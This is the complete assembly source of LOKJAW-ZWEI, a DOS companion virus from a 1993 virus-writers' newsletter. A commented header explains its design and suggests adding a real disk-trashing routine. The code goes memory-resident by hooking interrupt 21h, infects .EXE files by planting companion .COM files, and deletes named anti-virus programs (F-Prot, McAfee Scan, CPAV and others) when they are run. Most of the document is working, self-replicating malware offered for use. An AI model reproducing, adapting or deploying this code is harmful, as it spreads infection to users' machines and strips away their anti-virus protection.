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|
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;LOKJAW-ZWEI: an .EXE-infecting spawning virus with retaliatory
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;anti-anti-virus capability. For Crypt Newsletter 12, Feb. 1993.
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;
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;LOKJAW-ZWEI is a resident spawning virus which installs itself in
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;memory using the same engine as the original Civil War/Proto-T virus.
|
||||
;It is simpler in that none of its addresses have to be
|
||||
;relative, an indirect benefit of the fact that the virus has no
|
||||
;"appending" quality. That means, LOKJAW doesn't alter its "host" files,
|
||||
;much like a number of other companion/spawning viruses published in
|
||||
;previous newsletters.
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||||
;
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||||
;LOKJAW hooks interrupt 21 and infects .EXE files on execution, creating
|
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;itself as companion .COMfile to the "host." Due to the inherent rules
|
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;of DOS, this ensures the virus will be executed before the "host" the
|
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;next time the infected program is used. In reality, LOKJAW is even
|
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;simpler than that. If not in memory, the first time the host is
|
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;called, LOKJAW will go resident and not even bother to load it.
|
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;In most cases, the user will assume a slight error and call the host
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;again, at which point it will function normally. LOKJAW will then infect
|
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;every subsequent .EXE file called. LOKJAW is very transparent in operation,
|
||||
;except when certain anti-virus programs (Integrity Master, McAfee's SCAN &
|
||||
;CLEAN, F-PROT & VIRSTOP and Central Point Anti-virus) are loaded.
|
||||
;LOKJAW spawning variants are so simple they don't even need much in the
|
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;way of installation checks. The virus simply becomes resident the first
|
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;time it is called. Once in memory, when other infect file are executed
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||||
;LOKJAW merely looks over the loaded file, if it recognizes itself it
|
||||
;discards the load and proceeds to execute the "infected" file as would
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;be the case on an uninfected system.
|
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;
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||||
;LOKJAW's "stinger" code demonstrates the simplicity of creating a strongly
|
||||
;retaliating virus by quickly deleting the anti-virus program before it
|
||||
;can execute and then displaying a "chomping" graphic. Even if the anti-
|
||||
;virus program cannot detect LOKJAW in memory, it will be deleted. This
|
||||
;makes it essential that the user know how to either remove the virus from
|
||||
;memory before beginning anti-virus measures, or at the least run the
|
||||
;anti-virus component from a write-protected disk. (If the LOKJAW viruses
|
||||
;are present in memory and an anti-virus program is run from a write-
|
||||
;protected disketter, it will, of course, generate "write protect"
|
||||
;errors.) At a time when retail anti-virus packages are becoming more
|
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;complicated - and more likely that the
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||||
;average user will run them from default installations on his hard file -
|
||||
;LOKJAW's retaliating power makes it a potentially very annoying pest.
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;A virus-programmer serious about inconveniencing a system could do a
|
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;number of things with this basic idea. They are;
|
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; 1. Remove the "chomp" effect. It is entertaining, but it exposes the virus
|
||||
; instantly.
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; 2. Alter the_stinger routine, so that the virus immediately attacks the
|
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; hard file. The implementation is demonstrated by LOKJAW-DREI, which
|
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; merely makes the disk inaccessible until a warm reboot if an anti-virus
|
||||
; program is employed against it. By placing
|
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; a BONA FIDE disk-trashing routine here, it becomes very hazardous for
|
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; an unknowing user to employ anti-virus measures on a machine where
|
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; LOKJAW or a LOKJAW-like program is memory resident. LOKJAW-DREI,
|
||||
; which does not try to delete anti-virus files, displays the "chomp"
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; and mimics trashing the disk even when the anti-virus program is
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; used from a write-protected diskette. Of course, the user will
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; see no "write protect" error as with the other viruses. The disk merely
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; becomes inacessible.
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;
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;These anti-anti-virus strategies are becoming more common in viral
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;programming.
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;
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;Mark Ludwig programmed the features of a direct-action retaliating
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;virus in his "Computer Virus Developments Quarterly." Peach, Groove and
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;Encroacher viruses attack anti-virus software by deletion of files central
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;to the functionality of the software.
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;
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;And in this issue, the Sandra virus employs a number
|
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;of anti-anti-virus features.
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;
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;The LOKJAW source listings are TASM compatible. To remove LOKJAW-ZWEI and
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;DREI infected files from a system, simply delete the "companion" .COM
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;duplicates of your executables. Ensure that the machine has been booted
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;from a clean disk. To remove the LOKJAW .COM-appending virus, at this
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;time it will be necessary for you to restore the contaminated files from
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;a clean back-up.
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||||
;
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;Alert readers will notice the LOKJAW-ZWEI and DREI create their "companion"
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;files in plain sight. Generally, spawning viruses make themselves
|
||||
;hidden-read-only-system files. This is an easy hack and the code is supplied
|
||||
;in earlier issues of the newsletter. The modification is left to
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;the reader as an academic exercise.
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.radix 16
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cseg segment
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model small
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assume cs:cseg, ds:cseg, es:cseg
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org 100h
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oi21 equ endit
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filelength equ endit - begin
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nameptr equ endit+4
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DTA equ endit+8
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begin: jmp virus_install
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note:
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||||
db '[l™‡kõ„W-zW��].á�.šrã$ņd‰M–$'
|
||||
db 'ÅH‹$.pâ™Gâ†m.Œ$.….{pâ™Å”-Å].ûƒâ‹†¤Å,$“âÅ.”Ÿ.'
|
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db '€â˜ž.¥‰w$Àä×îâ' ; I.D. note: will probably be
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||||
; documented in VSUM
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; install
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virus_install: mov ax,cs ; reduce memory size
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dec ax
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mov ds,ax
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cmp byte ptr ds:[0000],5a ; check if last memory
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jne cancel ; block
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mov ax,ds:[0003]
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sub ax,100 ; decrease memory
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mov ds:0003,ax
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Zopy_virus:
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mov bx,ax ; copy to claimed block
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mov ax,es ; PSP
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add ax,bx ; virus start in memory
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mov es,ax
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mov cx,offset endit - begin ; cx = length of virus
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mov ax,ds ; restore ds
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inc ax
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mov ds,ax
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lea si,ds:[begin] ; point to start of virus
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lea di,es:0100 ; point to destination
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rep movsb ; copy virus in memory
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Grab_21:
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mov ds,cx ; hook interrupt 21h
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mov si,0084h ;
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mov di,offset oi21
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mov dx,offset check_exec
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lodsw
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cmp ax,dx ;
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je cancel ; exit, if already installed
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stosw
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movsw
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push es
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pop ds
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mov ax,2521h ; revector int 21h to virus
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||||
int 21h
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cancel: ret
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check_exec: ; look over loaded files
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pushf ; for executables
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push es ; push everything onto the
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push ds ; stack
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||||
push ax
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push bx
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push dx
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cmp ax,04B00h ; is a file being
|
||||
; executed ?
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||||
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||||
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jne abort ; no, exit
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||||
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||||
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||||
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||||
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;if yes, try the_stinger
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do_infect: call infect ; then try to infect
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||||
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abort: ; restore everything
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pop dx
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pop bx
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pop ax
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||||
pop ds
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||||
pop es
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||||
popf
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||||
bye_bye:
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||||
; exit
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||||
jmp dword ptr cs:[oi21]
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||||
new_24h:
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||||
mov al,3 ; critical error handler
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iret
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infect:
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mov cs:[name_seg],ds ; this routine
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||||
mov cs:[name_off],dx ; essentially grabs
|
||||
; the name of the file
|
||||
cld ; <--
|
||||
mov di,dx ; being loaded
|
||||
push ds ; and copies it into a
|
||||
pop es ; buffer where the virus
|
||||
mov al,'.' ; can compare it to its
|
||||
repne scasb ; "anti-virus" list, from
|
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; the_stinger routine
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||||
call the_stinger ; now, call Lokjaw's anti-virus
|
||||
; stinger
|
||||
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||||
; no anti-virus, resume infection
|
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cld ; clear direction flags
|
||||
mov word ptr cs:[nameptr],dx ; save pointer to the filename
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||||
mov word ptr cs:[nameptr+2],ds
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mov ah,2Fh ; get old DTA
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int 21h
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push es
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push bx
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||||
|
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push cs ; set new DTA
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pop ds
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mov dx,offset DTA
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mov ah,1Ah
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int 21h
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call searchpoint ; find filename for virus
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push di
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mov si,offset COM_txt ; is extension 'COM' ?
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mov cx,3
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rep cmpsb
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pop di
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jz do_com ; if so, go to out .COM routine
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mov si,offset EXE_txt ; is extension .EXE ?
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nop
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mov cl,3
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||||
rep cmpsb
|
||||
jnz return
|
||||
|
||||
do_exe: mov si,offset COM_txt ; load .COM extent mask
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||||
nop
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call change_ext ; change extension on filename.EXE
|
||||
mov ax,3300h ; to .COM
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||||
nop
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int 21h
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push dx
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|
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cwd
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||||
inc ax ; clear flags
|
||||
push ax
|
||||
int 21h
|
||||
|
||||
Grab24h:
|
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|
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mov ax,3524h ; get critical error handler vector
|
||||
int 21h
|
||||
push bx
|
||||
push es
|
||||
push cs ; set interrupt 24h to new handler
|
||||
pop ds
|
||||
mov dx,offset new_24h
|
||||
mov ah,25h
|
||||
push ax
|
||||
int 21h
|
||||
|
||||
|
||||
lds dx,dword ptr [nameptr] ; create the virus (with name)
|
||||
xor cx,cx ; of EXE target
|
||||
mov ah,05Bh ;
|
||||
int 21
|
||||
jc return1
|
||||
xchg bx,ax ; save handle
|
||||
|
||||
|
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|
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push cs
|
||||
pop ds
|
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mov cx,filelength ; cx = virus length
|
||||
mov dx,offset begin
|
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mov ah,40h ; write the virus to the created
|
||||
int 21h ; file
|
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|
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mov ah,3Eh ; close the file
|
||||
int 21h
|
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|
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return1: pop ax ; restore interrupt 24h
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pop ds
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pop dx
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int 21h
|
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|
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pop ax
|
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pop dx ; restore Crtl-break flags
|
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int 21h
|
||||
|
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mov si,offset EXE_txt ; load .EXE mask
|
||||
call change_ext ; and change the extension on
|
||||
; the filename back to original
|
||||
return: mov ah,1Ah ; host
|
||||
pop dx ; restore old DTA
|
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pop ds
|
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int 21H
|
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|
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ret ;
|
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|
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do_com: call findfirst ; is the .COMfile executed the virus?
|
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cmp word ptr cs:[DTA+1Ah],endit - begin
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jne return ; no, so exit
|
||||
mov si,offset EXE_txt ; does the .EXE variant exist ?
|
||||
call change_ext
|
||||
call findfirst
|
||||
jnc return ;
|
||||
mov si,offset COM_txt ; load .COM extension
|
||||
call change_ext ; change the filename and
|
||||
jmp short return ; jump to exit
|
||||
|
||||
searchpoint: les di,dword ptr cs:[nameptr]
|
||||
mov ch,0FFh
|
||||
mov al,0
|
||||
repnz scasb
|
||||
sub di,4
|
||||
ret
|
||||
change_ext: call searchpoint
|
||||
push cs
|
||||
pop ds
|
||||
movsw
|
||||
movsw
|
||||
ret
|
||||
|
||||
findfirst: lds dx,dword ptr [nameptr]
|
||||
mov cl,27h
|
||||
mov ah,4Eh
|
||||
int 21h
|
||||
ret
|
||||
|
||||
the_stinger: ; the_stinger compares the loaded filename with these defaults
|
||||
cmp word ptr es:[di-3],'MI' ;Integrity Master
|
||||
je jumptoass ; Stiller Research
|
||||
|
||||
cmp word ptr es:[di-3],'XR' ; Virx = VIREX
|
||||
je jumptoass ; if there's a match
|
||||
; go to assassinate file
|
||||
cmp word ptr es:[di-3],'PO' ;*STOP = VIRSTOP
|
||||
jne next1 ; F-Prot
|
||||
cmp word ptr es:[di-5],'TS'
|
||||
je jumptoass
|
||||
|
||||
next1: cmp word ptr es:[di-3],'VA' ; AV = CPAV
|
||||
je jumptoass ; Central Point
|
||||
|
||||
cmp word ptr es:[di-3],'TO' ;*prot = F-prot
|
||||
jne next2
|
||||
cmp word ptr es:[di-5],'RP'
|
||||
je jumptoass
|
||||
|
||||
next2: cmp word ptr es:[di-3],'NA' ;*scan = McAfee's Scan.
|
||||
jne next3
|
||||
cmp word ptr es:[di-5],'CS'
|
||||
je jumptoass
|
||||
|
||||
cmp word ptr es:[di-3],'NA' ; *lean = CLEAN.
|
||||
jne next3 ; why not, eh?
|
||||
cmp word ptr es:[di-5],'EL'
|
||||
je jumptoass
|
||||
next3: ret
|
||||
jumptoass: ; assassinate anti-virus program
|
||||
|
||||
mov ds,cs:[name_seg] ; points to
|
||||
mov dx,cs:[name_off] ; filename to delete
|
||||
|
||||
mov ax, 4301h ; clear attributes
|
||||
mov cx, 00h
|
||||
int 21h
|
||||
jc chomp ; exit on error to visual
|
||||
mov ah, 41h ; delete anti-virus file
|
||||
int 21h ; exit on error to visual
|
||||
jc chomp
|
||||
chomp:
|
||||
push cs ; chomper visual
|
||||
pop ds
|
||||
mov ah, 03h
|
||||
int 10h
|
||||
mov [c1], bh ; save cursor
|
||||
mov [c2], dh
|
||||
mov [c3], dl
|
||||
mov [c4], ch
|
||||
mov [c5], cl
|
||||
mov ah, 1
|
||||
mov cl, 0
|
||||
mov ch, 40h
|
||||
int 10h
|
||||
|
||||
mov cl, 0
|
||||
mov dl, 4Fh
|
||||
mov ah, 6
|
||||
mov al, 0
|
||||
mov bh, 0Fh
|
||||
mov ch, 0
|
||||
mov cl, 0
|
||||
mov dh, 0
|
||||
mov dl, 4Fh
|
||||
int 10h
|
||||
|
||||
mov ah, 2
|
||||
mov dh, 0
|
||||
mov dl, 1Fh
|
||||
mov bh, 0
|
||||
int 10h
|
||||
|
||||
mov dx,offset eyes ; print the eyes
|
||||
mov ah, 9
|
||||
mov bl, 0Fh
|
||||
int 21h
|
||||
|
||||
mov ah, 2
|
||||
mov dh, 1
|
||||
mov dl, 0
|
||||
int 10h
|
||||
|
||||
mov ah, 9
|
||||
mov al, 0DCh
|
||||
mov bl, 0Fh
|
||||
mov cx, 50h
|
||||
int 10h
|
||||
|
||||
mov ah, 2
|
||||
mov dh, 18h
|
||||
mov dl, 0
|
||||
int 10h
|
||||
|
||||
mov ah, 9
|
||||
mov al, 0DFh
|
||||
mov bl, 0Fh
|
||||
mov cx, 50h
|
||||
int 10h
|
||||
|
||||
mov dl, 0
|
||||
chomp_1:
|
||||
mov ah, 2
|
||||
mov dh, 2
|
||||
int 10h
|
||||
|
||||
mov ah, 9
|
||||
mov al, 55h
|
||||
mov bl, 0Fh
|
||||
mov cx, 1
|
||||
int 10h
|
||||
|
||||
mov ah, 2
|
||||
mov dh, 17h
|
||||
inc dl
|
||||
int 10h
|
||||
|
||||
mov ah, 9
|
||||
mov al, 0EFh
|
||||
mov bl, 0Fh
|
||||
int 10h
|
||||
|
||||
inc dl
|
||||
cmp dl, 50h
|
||||
jl chomp_1
|
||||
mov [data_1], 0
|
||||
chomp_3:
|
||||
mov cx, 7FFFh ; delays
|
||||
|
||||
locloop_4:
|
||||
loop locloop_4
|
||||
|
||||
inc [data_1]
|
||||
cmp [data_1], 0Ah
|
||||
jl chomp_3
|
||||
mov [data_1], 0
|
||||
mov cl, 0
|
||||
mov dl, 4Fh
|
||||
chomp_5:
|
||||
mov ah, 6
|
||||
mov al, 1
|
||||
mov bh, [data_2]
|
||||
mov ch, 0Dh
|
||||
mov dh, 18h
|
||||
int 10h
|
||||
|
||||
mov ah, 7
|
||||
mov al, 1
|
||||
mov bh, [data_2]
|
||||
mov ch, 0
|
||||
mov dh, 0Ch
|
||||
int 10h
|
||||
mov cx, 3FFFh ; delays
|
||||
|
||||
locloop_6:
|
||||
loop locloop_6
|
||||
inc [data_1]
|
||||
cmp [data_1], 0Bh
|
||||
jl chomp_5
|
||||
mov [data_1], 0
|
||||
chomp_7:
|
||||
mov cx, 7FFFh ; delays
|
||||
|
||||
locloop_8:
|
||||
loop locloop_8
|
||||
inc [data_1]
|
||||
cmp [data_1], 0Ah
|
||||
jl chomp_7
|
||||
mov ah, 6
|
||||
mov al, 0
|
||||
mov bh, [data_2]
|
||||
mov ch, 0
|
||||
mov cl, 0
|
||||
mov dh, 18h
|
||||
mov dl, 4Fh
|
||||
int 10h
|
||||
|
||||
mov cl, 7
|
||||
mov ch, 6
|
||||
int 10h
|
||||
|
||||
mov ah, 2
|
||||
mov bh, [c1]
|
||||
mov dh, [c2]
|
||||
mov dl, [c3]
|
||||
int 10h
|
||||
mov al, bh
|
||||
mov ah, 5
|
||||
int 10h
|
||||
mov ah, 1
|
||||
mov ch, [c4]
|
||||
mov cl, [c5]
|
||||
int 10h
|
||||
mov ax, 0003h
|
||||
int 10h ; sort of a cls
|
||||
mov ax, 00ffh
|
||||
ret
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
EXE_txt db 'EXE',0 ; extension masks
|
||||
COM_txt db 'COM',0
|
||||
|
||||
eyes db '(o) (o)','$' ; ASCII eyes of Lockjaw
|
||||
|
||||
data_1 db 0
|
||||
data_2 db 0
|
||||
|
||||
name_seg dw ?
|
||||
name_off dw ?
|
||||
|
||||
c1 db 0
|
||||
c2 db 0
|
||||
c3 db 0
|
||||
c4 db 0
|
||||
c5 db 0
|
||||
|
||||
note2: db 'Lokjaw-Zwei'
|
||||
|
||||
endit:
|
||||
|
||||
|
||||
cseg ends
|
||||
end begin
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user